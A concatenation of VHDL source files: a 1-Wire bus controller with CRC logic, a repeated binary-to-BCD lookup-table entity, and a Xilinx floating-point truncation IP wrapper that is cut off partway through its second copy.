o_tlb_data <= (others => '0');
o_tlb_we <= '0';
end if;
end process;
end architecture;
|
library ieee;
library work;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
use work.utils_pkg.all;
entity one_wire is
generic
(
-- Number of clock cycles for 1us delay
US_D : positive
);
port
(
clk : in std_logic;
reset : in std_logic;
-- Strobe for generating a reset on the 1-wire bus
reset_ow : in std_logic;
ow_in : in std_logic;
-- Data to be sent to the 1-wire bus
data_in : in std_logic_vector(8 - 1 downto 0);
-- Strobe indicating new data has arrived to be sent out
data_in_f : in std_logic;
-- Flag for starting the process of receiving data
receive_data_f : in std_logic;
crc_out : out std_logic_vector(8 - 1 downto 0);
-- Data received from the 1-wire bus
data_out : out std_logic_vector(8 - 1 downto 0);
-- Strobe indicating new data has been received
data_out_f : out std_logic;
ow_out : out std_logic;
-- Signal indicating the 1-wire bus is busy
busy_out : out std_logic;
-- Signal indicating there has been an error, bus needs to be reset
error_out : out std_logic;
-- ID indicating type of error, 1 = no device on bus
error_id_out : out unsigned(1 downto 0)
);
end entity;
architecture rtl of one_wire is
-- One wire bus delay values in clock cycles
constant RESET_ON_D : positive := US_D * 480;
constant RESET_SAMPLE_D : positive := US_D * 70;
constant RESET_D : positive := US_D * 410;
constant TX_ONE_LOW_D : positive := US_D * 6;
constant TX_ONE_HIGH_D : positive := US_D * 64;
constant TX_ZERO_LOW_D : positive := US_D * 60;
constant TX_ZERO_HIGH_D : positive := US_D * 10;
constant RX_SAMPLE_D : positive := US_D * 9;
constant RX_RELEASE_D : positive := US_D * 55;
signal ow_reset_out : std_logic;
signal ow_send_out : std_logic;
signal ow_receive_out : std_logic;
signal err_no_dev : std_logic;
signal busy_reset : std_logic;
signal busy_send : std_logic;
signal busy_receive : std_logic;
signal last_bit : std_logic;
signal last_bit_f : std_logic;
signal crc_reset : std_logic;
begin
-- Invert and combine signals so application logic matches bus state
ow_out <= not (not ow_reset_out or not ow_send_out or not ow_receive_out);
-- Combine process-specific busy signals
busy_out <= busy_reset or busy_send or busy_receive;
-- Handle and indicate errors
ow_error_p: process(clk, reset)
begin
if reset = '1' then
error_out <= '0';
error_id_out <= (others => '0');
elsif rising_edge(clk) then
if err_no_dev = '1' then
error_id_out <= to_unsigned(1, error_id_out'length);
error_out <= '1';
else
error_out <= '0';
error_id_out <= (others => '0');
end if;
end if;
end process;
ow_rst_p: process(clk, reset)
type ow_rst_state is (idle, reset_on, reset_sample, reset_delay);
variable state : ow_rst_state;
variable timer : unsigned(16 - 1 downto 0);
begin
if reset = '1' then
state := idle;
timer := (others => '0');
err_no_dev <= '0';
busy_reset <= '0';
ow_reset_out <= '1';
elsif rising_edge(clk) then
if state = idle then
if reset_ow = '1' then
state := reset_on;
ow_reset_out <= '0';
busy_reset <= '1';
else
busy_reset <= '0';
end if;
elsif state = reset_on then
if timer < RESET_ON_D then
timer := timer + 1;
else
-- Release bus
ow_reset_out <= '1';
state := reset_sample;
timer := (others => '0');
end if;
elsif state = reset_sample then
if timer < RESET_SAMPLE_D then
timer := timer + 1;
else
-- No device present on bus, indicate error
if ow_in = '1' then
err_no_dev <= '1';
state := idle;
timer := (others => '0');
end if;
state := reset_delay;
timer := (others => '0');
end if;
elsif state = reset_delay then
if timer < RESET_D then
timer := timer + 1;
else
state := idle;
timer := (others => '0');
end if;
end if;
end if;
end process;
ow_send_p: process(clk, reset)
type ow_send_state is (idle, tx_one_low, tx_one_high, tx_zero_low,
tx_zero_high, tx_next_bit);
variable state : ow_send_state;
variable timer : unsigned(16 - 1 downto 0);
variable data : std_logic_vector(data_in'range);
variable data_left : unsigned(ceil_log2(data_in'length) downto 0);
begin
if reset = '1' then
state := idle;
-- Bus is released on reset
ow_send_out <= '1';
busy_send <= '0';
timer := (others => '0');
data := (others => '0');
data_left := (others => '0');
elsif rising_edge(clk) then
if state = idle then
-- Bus always released when idle
ow_send_out <= '1';
if data_in_f = '1' then
data := data_in;
data_left := to_unsigned(data'length, data_left'length);
busy_send <= '1';
state := tx_next_bit;
timer := (others => '0');
-- Pull bus down on both cases
ow_send_out <= '0';
else
busy_send <= '0';
end if;
elsif state = tx_one_low then
if timer < TX_ONE_LOW_D then
timer := timer + 1;
else
-- Release bus
ow_send_out <= '1';
state := tx_one_high;
timer := (others => '0');
end if;
elsif state = tx_one_high then
if timer < TX_ONE_HIGH_D then
timer := timer + 1;
else
state := tx_next_bit;
timer := (others => '0');
end if;
elsif state = tx_zero_low then
if timer < TX_ZERO_LOW_D then
timer := timer + 1;
else
ow_send_out <= '1';
state := tx_zero_high;
timer := (others => '0');
end if;
elsif state = tx_zero_high then
if timer < TX_ZERO_HIGH_D then
timer := timer + 1;
else
state := tx_next_bit;
timer := (others => '0');
end if;
elsif state = tx_next_bit then
if data_left = 0 then
state := idle;
else
if data(data'right) = '1' then
state := tx_one_low;
else
state := tx_zero_low;
end if;
data_left := data_left - 1;
-- Shift data
data := shift_right_vec(data, 1);
-- Pull bus down on both cases
ow_send_out <= '0';
end if;
timer := (others => '0');
end if;
end if;
end process;
ow_receive_p: process(clk, reset)
type ow_receive_state is (idle, rx_low, rx_sample, rx_release,
rx_next_bit);
variable state : ow_receive_state;
variable timer : unsigned(16 - 1 downto 0);
variable data : std_logic_vector(data_in'range);
variable data_left : unsigned(ceil_log2(data_in'length) downto 0);
begin
if reset = '1' then
state := idle;
ow_receive_out <= '1';
busy_receive <= '0';
timer := (others => '0');
data := (others => '0');
data_left := (others => '0');
data_out <= (others => '0');
data_out_f <= '0';
last_bit <= '0';
last_bit_f <= '0';
crc_reset <= '0';
elsif rising_edge(clk) then
if state = idle then
-- Reset data out indicator strobe
data_out_f <= '0';
crc_reset <= '1';
if receive_data_f = '1' then
crc_reset <= '1';
-- Pull bus low
ow_receive_out <= '0';
busy_receive <= '1';
data := (others => '0');
data_left := to_unsigned(data'length, data_left'length);
state := rx_low;
timer := (others => '0');
else
busy_receive <= '0';
end if;
elsif state = rx_low then
-- Delay is same as for transmit low-state
if timer < TX_ONE_LOW_D then
timer := timer + 1;
else
-- Release bus
ow_receive_out <= '1';
state := rx_sample;
timer := (others => '0');
end if;
elsif state = rx_sample then
if timer < RX_SAMPLE_D then
timer := timer + 1;
else
data(data'left) := ow_in;
-- Signal CRC module of the last bit
last_bit <= ow_in;
last_bit_f <= '1';
data_left := data_left - 1;
state := rx_release;
timer := (others => '0');
end if;
elsif state = rx_release then
last_bit_f <= '0';
if timer < RX_RELEASE_D then
timer := timer + 1;
else
-- Release bus
ow_receive_out <= '1';
state := rx_next_bit;
timer := (others => '0');
end if;
elsif state = rx_next_bit then
if data_left = 0 then
state := idle;
data_out <= data;
data_out_f <= '1';
else
data := shift_right_vec(data, 1);
ow_receive_out <= '0';
state := rx_low;
end if;
end if;
end if;
end process;
-- CRC calculator, calculated whenever we receive a new bit
crc_p: process(clk, reset)
variable crc : std_logic_vector(crc_out'range);
begin
if reset = '1' then
crc := (others => '0');
crc_out <= (others => '0');
elsif rising_edge(clk) then
if crc_reset = '1' then
crc := (others => '0');
crc_out <= (others => '0');
end if;
if last_bit_f = '1' then
crc(crc'left) := last_bit xor crc(crc'right);
crc(4) := crc(3) xor crc(crc'left);
crc(5) := crc(4) xor crc(crc'left);
crc := shift_left_vec(crc, 1);
crc_out <= crc;
end if;
end if;
end process;
end;
|
-- this circuit converts a 6-bit binary number to a 2-digit BCD representation
--
-- entity name: g23_binary_to_BCD
--
-- Copyright (C) 2014 cadesalaberry, grahamludwinski
--
-- Version 1.0
--
-- Author:
-- Charles-Antoine de Salaberry; [email protected],
-- Graham Ludwinski; [email protected]
--
-- Date: 11/02/2014
library ieee; -- allows use of the std_logic_vector type
use ieee.std_logic_1164.all;
use ieee.numeric_std.all; -- allows use of the unsigned type
library lpm; -- allows use of the Altera library modules
use lpm.lpm_components.all;
entity g23_binary_to_BCD is
port (
clock : in std_logic; -- to clock the lpm_rom register
bin : in unsigned(5 downto 0);
BCD : out std_logic_vector(7 downto 0)
);
end g23_binary_to_BCD;
architecture look_up_table of g23_binary_to_BCD is
begin
b2BCD_table : lpm_rom -- use the altera rom library macrocell
GENERIC MAP (
lpm_widthad => 6, -- sets the width of the ROM address bus
lpm_numwords => 64, -- sets the words stored in the ROM
lpm_outdata => "UNREGISTERED", -- no register on the output
lpm_address_control => "REGISTERED", -- register on the input
lpm_file => "g23_binary_to_BCD.mif", -- the ascii file containing the ROM data
lpm_width => 8 -- the width of the word stored in each ROM location
)
PORT MAP (
inclock => clock,
address => std_logic_vector(bin),
q => BCD
);
end look_up_table;
|
-- this circuit converts a 6-bit binary number to a 2-digit BCD representation
--
-- entity name: g23_binary_to_BCD
--
-- Copyright (C) 2014 cadesalaberry, grahamludwinski
--
-- Version 1.0
--
-- Author:
-- Charles-Antoine de Salaberry; [email protected],
-- Graham Ludwinski; [email protected]
--
-- Date: 11/02/2014
library ieee; -- allows use of the std_logic_vector type
use ieee.std_logic_1164.all;
use ieee.numeric_std.all; -- allows use of the unsigned type
library lpm; -- allows use of the Altera library modules
use lpm.lpm_components.all;
entity g23_binary_to_BCD is
port (
clock : in std_logic; -- to clock the lpm_rom register
bin : in unsigned(5 downto 0);
BCD : out std_logic_vector(7 downto 0)
);
end g23_binary_to_BCD;
architecture look_up_table of g23_binary_to_BCD is
begin
b2BCD_table : lpm_rom -- use the altera rom library macrocell
GENERIC MAP (
lpm_widthad => 6, -- sets the width of the ROM address bus
lpm_numwords => 64, -- sets the words stored in the ROM
lpm_outdata => "UNREGISTERED", -- no register on the output
lpm_address_control => "REGISTERED", -- register on the input
lpm_file => "g23_binary_to_BCD.mif", -- the ascii file containing the ROM data
lpm_width => 8 -- the width of the word stored in each ROM location
)
PORT MAP (
inclock => clock,
address => std_logic_vector(bin),
q => BCD
);
end look_up_table;
|
-- this circuit converts a 6-bit binary number to a 2-digit BCD representation
--
-- entity name: g23_binary_to_BCD
--
-- Copyright (C) 2014 cadesalaberry, grahamludwinski
--
-- Version 1.0
--
-- Author:
-- Charles-Antoine de Salaberry; [email protected],
-- Graham Ludwinski; [email protected]
--
-- Date: 11/02/2014
library ieee; -- allows use of the std_logic_vector type
use ieee.std_logic_1164.all;
use ieee.numeric_std.all; -- allows use of the unsigned type
library lpm; -- allows use of the Altera library modules
use lpm.lpm_components.all;
entity g23_binary_to_BCD is
port (
clock : in std_logic; -- to clock the lpm_rom register
bin : in unsigned(5 downto 0);
BCD : out std_logic_vector(7 downto 0)
);
end g23_binary_to_BCD;
architecture look_up_table of g23_binary_to_BCD is
begin
b2BCD_table : lpm_rom -- use the altera rom library macrocell
GENERIC MAP (
lpm_widthad => 6, -- sets the width of the ROM address bus
lpm_numwords => 64, -- sets the words stored in the ROM
lpm_outdata => "UNREGISTERED", -- no register on the output
lpm_address_control => "REGISTERED", -- register on the input
lpm_file => "g23_binary_to_BCD.mif", -- the ascii file containing the ROM data
lpm_width => 8 -- the width of the word stored in each ROM location
)
PORT MAP (
inclock => clock,
address => std_logic_vector(bin),
q => BCD
);
end look_up_table;
|
-- (c) Copyright 1995-2016 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- DO NOT MODIFY THIS FILE.
-- IP VLNV: xilinx.com:ip:floating_point:7.1
-- IP Revision: 1
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
LIBRARY floating_point_v7_1_1;
USE floating_point_v7_1_1.floating_point_v7_1_1;
ENTITY feedforward_ap_fptrunc_0_no_dsp_64 IS
PORT (
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0)
);
END feedforward_ap_fptrunc_0_no_dsp_64;
ARCHITECTURE feedforward_ap_fptrunc_0_no_dsp_64_arch OF feedforward_ap_fptrunc_0_no_dsp_64 IS
ATTRIBUTE DowngradeIPIdentifiedWarnings : string;
ATTRIBUTE DowngradeIPIdentifiedWarnings OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "yes";
COMPONENT floating_point_v7_1_1 IS
GENERIC (
C_XDEVICEFAMILY : STRING;
C_HAS_ADD : INTEGER;
C_HAS_SUBTRACT : INTEGER;
C_HAS_MULTIPLY : INTEGER;
C_HAS_DIVIDE : INTEGER;
C_HAS_SQRT : INTEGER;
C_HAS_COMPARE : INTEGER;
C_HAS_FIX_TO_FLT : INTEGER;
C_HAS_FLT_TO_FIX : INTEGER;
C_HAS_FLT_TO_FLT : INTEGER;
C_HAS_RECIP : INTEGER;
C_HAS_RECIP_SQRT : INTEGER;
C_HAS_ABSOLUTE : INTEGER;
C_HAS_LOGARITHM : INTEGER;
C_HAS_EXPONENTIAL : INTEGER;
C_HAS_FMA : INTEGER;
C_HAS_FMS : INTEGER;
C_HAS_ACCUMULATOR_A : INTEGER;
C_HAS_ACCUMULATOR_S : INTEGER;
C_A_WIDTH : INTEGER;
C_A_FRACTION_WIDTH : INTEGER;
C_B_WIDTH : INTEGER;
C_B_FRACTION_WIDTH : INTEGER;
C_C_WIDTH : INTEGER;
C_C_FRACTION_WIDTH : INTEGER;
C_RESULT_WIDTH : INTEGER;
C_RESULT_FRACTION_WIDTH : INTEGER;
C_COMPARE_OPERATION : INTEGER;
C_LATENCY : INTEGER;
C_OPTIMIZATION : INTEGER;
C_MULT_USAGE : INTEGER;
C_BRAM_USAGE : INTEGER;
C_RATE : INTEGER;
C_ACCUM_INPUT_MSB : INTEGER;
C_ACCUM_MSB : INTEGER;
C_ACCUM_LSB : INTEGER;
C_HAS_UNDERFLOW : INTEGER;
C_HAS_OVERFLOW : INTEGER;
C_HAS_INVALID_OP : INTEGER;
C_HAS_DIVIDE_BY_ZERO : INTEGER;
C_HAS_ACCUM_OVERFLOW : INTEGER;
C_HAS_ACCUM_INPUT_OVERFLOW : INTEGER;
C_HAS_ACLKEN : INTEGER;
C_HAS_ARESETN : INTEGER;
C_THROTTLE_SCHEME : INTEGER;
C_HAS_A_TUSER : INTEGER;
C_HAS_A_TLAST : INTEGER;
C_HAS_B : INTEGER;
C_HAS_B_TUSER : INTEGER;
C_HAS_B_TLAST : INTEGER;
C_HAS_C : INTEGER;
C_HAS_C_TUSER : INTEGER;
C_HAS_C_TLAST : INTEGER;
C_HAS_OPERATION : INTEGER;
C_HAS_OPERATION_TUSER : INTEGER;
C_HAS_OPERATION_TLAST : INTEGER;
C_HAS_RESULT_TUSER : INTEGER;
C_HAS_RESULT_TLAST : INTEGER;
C_TLAST_RESOLUTION : INTEGER;
C_A_TDATA_WIDTH : INTEGER;
C_A_TUSER_WIDTH : INTEGER;
C_B_TDATA_WIDTH : INTEGER;
C_B_TUSER_WIDTH : INTEGER;
C_C_TDATA_WIDTH : INTEGER;
C_C_TUSER_WIDTH : INTEGER;
C_OPERATION_TDATA_WIDTH : INTEGER;
C_OPERATION_TUSER_WIDTH : INTEGER;
C_RESULT_TDATA_WIDTH : INTEGER;
C_RESULT_TUSER_WIDTH : INTEGER;
C_FIXED_DATA_UNSIGNED : INTEGER
);
PORT (
aclk : IN STD_LOGIC;
aclken : IN STD_LOGIC;
aresetn : IN STD_LOGIC;
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tready : OUT STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_a_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_a_tlast : IN STD_LOGIC;
s_axis_b_tvalid : IN STD_LOGIC;
s_axis_b_tready : OUT STD_LOGIC;
s_axis_b_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_b_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_b_tlast : IN STD_LOGIC;
s_axis_c_tvalid : IN STD_LOGIC;
s_axis_c_tready : OUT STD_LOGIC;
s_axis_c_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_c_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_c_tlast : IN STD_LOGIC;
s_axis_operation_tvalid : IN STD_LOGIC;
s_axis_operation_tready : OUT STD_LOGIC;
s_axis_operation_tdata : IN STD_LOGIC_VECTOR(7 DOWNTO 0);
s_axis_operation_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_operation_tlast : IN STD_LOGIC;
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tready : IN STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0);
m_axis_result_tuser : OUT STD_LOGIC_VECTOR(0 DOWNTO 0);
m_axis_result_tlast : OUT STD_LOGIC
);
END COMPONENT floating_point_v7_1_1;
ATTRIBUTE X_CORE_INFO : STRING;
ATTRIBUTE X_CORE_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "floating_point_v7_1_1,Vivado 2015.4.2";
ATTRIBUTE CHECK_LICENSE_TYPE : STRING;
ATTRIBUTE CHECK_LICENSE_TYPE OF feedforward_ap_fptrunc_0_no_dsp_64_arch : ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{}";
ATTRIBUTE CORE_GENERATION_INFO : STRING;
ATTRIBUTE CORE_GENERATION_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{x_ipProduct=Vivado 2015.4.2,x_ipVendor=xilinx.com,x_ipLibrary=ip,x_ipName=floating_point,x_ipVersion=7.1,x_ipCoreRevision=1,x_ipLanguage=VHDL,x_ipSimLanguage=MIXED,C_XDEVICEFAMILY=virtex7,C_HAS_ADD=0,C_HAS_SUBTRACT=0,C_HAS_MULTIPLY=0,C_HAS_DIVIDE=0,C_HAS_SQRT=0,C_HAS_COMPARE=0,C_HAS_FIX_TO_FLT=0,C_HAS_FLT_TO_FIX=0,C_HAS_FLT_TO_FLT=1,C_HAS_RECIP=0,C_HAS_RECIP_SQRT=0,C_HAS_ABSOLUTE=0,C_HAS_LOGARITHM=0,C_HAS_EXPONENTIAL=0,C_HAS_FMA=0,C_HAS_FMS=0,C_HAS_ACCUMULATOR_A=0,C_HAS_ACCUMULATOR_S=0,C_A_WIDTH=64,C_A_FRACTION_WIDTH=53,C_B_WIDTH=64,C_B_FRACTION_WIDTH=53,C_C_WIDTH=64,C_C_FRACTION_WIDTH=53,C_RESULT_WIDTH=32,C_RESULT_FRACTION_WIDTH=24,C_COMPARE_OPERATION=8,C_LATENCY=0,C_OPTIMIZATION=1,C_MULT_USAGE=0,C_BRAM_USAGE=0,C_RATE=1,C_ACCUM_INPUT_MSB=32,C_ACCUM_MSB=32,C_ACCUM_LSB=-31,C_HAS_UNDERFLOW=0,C_HAS_OVERFLOW=0,C_HAS_INVALID_OP=0,C_HAS_DIVIDE_BY_ZERO=0,C_HAS_ACCUM_OVERFLOW=0,C_HAS_ACCUM_INPUT_OVERFLOW=0,C_HAS_ACLKEN=0,C_HAS_ARESETN=0,C_THROTTLE_SCHEME=3,C_HAS_A_TUSER=0,C_HAS_A_TLAST=0,C_HAS_B=0,C_HAS_B_TUSER=0,C_HAS_B_TLAST=0,C_HAS_C=0,C_HAS_C_TUSER=0,C_HAS_C_TLAST=0,C_HAS_OPERATION=0,C_HAS_OPERATION_TUSER=0,C_HAS_OPERATION_TLAST=0,C_HAS_RESULT_TUSER=0,C_HAS_RESULT_TLAST=0,C_TLAST_RESOLUTION=0,C_A_TDATA_WIDTH=64,C_A_TUSER_WIDTH=1,C_B_TDATA_WIDTH=64,C_B_TUSER_WIDTH=1,C_C_TDATA_WIDTH=64,C_C_TUSER_WIDTH=1,C_OPERATION_TDATA_WIDTH=8,C_OPERATION_TUSER_WIDTH=1,C_RESULT_TDATA_WIDTH=32,C_RESULT_TUSER_WIDTH=1,C_FIXED_DATA_UNSIGNED=0}";
ATTRIBUTE X_INTERFACE_INFO : STRING;
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TVALID";
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TDATA";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TVALID";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TDATA";
BEGIN
U0 : floating_point_v7_1_1
GENERIC MAP (
C_XDEVICEFAMILY => "virtex7",
C_HAS_ADD => 0,
C_HAS_SUBTRACT => 0,
C_HAS_MULTIPLY => 0,
C_HAS_DIVIDE => 0,
C_HAS_SQRT => 0,
C_HAS_COMPARE => 0,
C_HAS_FIX_TO_FLT => 0,
C_HAS_FLT_TO_FIX => 0,
C_HAS_FLT_TO_FLT => 1,
C_HAS_RECIP => 0,
C_HAS_RECIP_SQRT => 0,
C_HAS_ABSOLUTE => 0,
C_HAS_LOGARITHM => 0,
C_HAS_EXPONENTIAL => 0,
C_HAS_FMA => 0,
C_HAS_FMS => 0,
C_HAS_ACCUMULATOR_A => 0,
C_HAS_ACCUMULATOR_S => 0,
C_A_WIDTH => 64,
C_A_FRACTION_WIDTH => 53,
C_B_WIDTH => 64,
C_B_FRACTION_WIDTH => 53,
C_C_WIDTH => 64,
C_C_FRACTION_WIDTH => 53,
C_RESULT_WIDTH => 32,
C_RESULT_FRACTION_WIDTH => 24,
C_COMPARE_OPERATION => 8,
C_LATENCY => 0,
C_OPTIMIZATION => 1,
C_MULT_USAGE => 0,
C_BRAM_USAGE => 0,
C_RATE => 1,
C_ACCUM_INPUT_MSB => 32,
C_ACCUM_MSB => 32,
C_ACCUM_LSB => -31,
C_HAS_UNDERFLOW => 0,
C_HAS_OVERFLOW => 0,
C_HAS_INVALID_OP => 0,
C_HAS_DIVIDE_BY_ZERO => 0,
C_HAS_ACCUM_OVERFLOW => 0,
C_HAS_ACCUM_INPUT_OVERFLOW => 0,
C_HAS_ACLKEN => 0,
C_HAS_ARESETN => 0,
C_THROTTLE_SCHEME => 3,
C_HAS_A_TUSER => 0,
C_HAS_A_TLAST => 0,
C_HAS_B => 0,
C_HAS_B_TUSER => 0,
C_HAS_B_TLAST => 0,
C_HAS_C => 0,
C_HAS_C_TUSER => 0,
C_HAS_C_TLAST => 0,
C_HAS_OPERATION => 0,
C_HAS_OPERATION_TUSER => 0,
C_HAS_OPERATION_TLAST => 0,
C_HAS_RESULT_TUSER => 0,
C_HAS_RESULT_TLAST => 0,
C_TLAST_RESOLUTION => 0,
C_A_TDATA_WIDTH => 64,
C_A_TUSER_WIDTH => 1,
C_B_TDATA_WIDTH => 64,
C_B_TUSER_WIDTH => 1,
C_C_TDATA_WIDTH => 64,
C_C_TUSER_WIDTH => 1,
C_OPERATION_TDATA_WIDTH => 8,
C_OPERATION_TUSER_WIDTH => 1,
C_RESULT_TDATA_WIDTH => 32,
C_RESULT_TUSER_WIDTH => 1,
C_FIXED_DATA_UNSIGNED => 0
)
PORT MAP (
aclk => '0',
aclken => '1',
aresetn => '1',
s_axis_a_tvalid => s_axis_a_tvalid,
s_axis_a_tdata => s_axis_a_tdata,
s_axis_a_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_a_tlast => '0',
s_axis_b_tvalid => '0',
s_axis_b_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_b_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_b_tlast => '0',
s_axis_c_tvalid => '0',
s_axis_c_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_c_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_c_tlast => '0',
s_axis_operation_tvalid => '0',
s_axis_operation_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 8)),
s_axis_operation_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_operation_tlast => '0',
m_axis_result_tvalid => m_axis_result_tvalid,
m_axis_result_tready => '0',
m_axis_result_tdata => m_axis_result_tdata
);
END feedforward_ap_fptrunc_0_no_dsp_64_arch;
|
-- (c) Copyright 1995-2016 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- DO NOT MODIFY THIS FILE.
-- IP VLNV: xilinx.com:ip:floating_point:7.1
-- IP Revision: 1
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
LIBRARY floating_point_v7_1_1;
USE floating_point_v7_1_1.floating_point_v7_1_1;
ENTITY feedforward_ap_fptrunc_0_no_dsp_64 IS
PORT (
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0)
);
END feedforward_ap_fptrunc_0_no_dsp_64;
ARCHITECTURE feedforward_ap_fptrunc_0_no_dsp_64_arch OF feedforward_ap_fptrunc_0_no_dsp_64 IS
ATTRIBUTE DowngradeIPIdentifiedWarnings : string;
ATTRIBUTE DowngradeIPIdentifiedWarnings OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "yes";
COMPONENT floating_point_v7_1_1 IS
GENERIC (
C_XDEVICEFAMILY : STRING;
C_HAS_ADD : INTEGER;
C_HAS_SUBTRACT : INTEGER;
C_HAS_MULTIPLY : INTEGER;
C_HAS_DIVIDE : INTEGER;
C_HAS_SQRT : INTEGER;
C_HAS_COMPARE : INTEGER;
C_HAS_FIX_TO_FLT : INTEGER;
C_HAS_FLT_TO_FIX : INTEGER;
C_HAS_FLT_TO_FLT : INTEGER;
C_HAS_RECIP : INTEGER;
C_HAS_RECIP_SQRT : INTEGER;
C_HAS_ABSOLUTE : INTEGER;
C_HAS_LOGARITHM : INTEGER;
C_HAS_EXPONENTIAL : INTEGER;
C_HAS_FMA : INTEGER;
C_HAS_FMS : INTEGER;
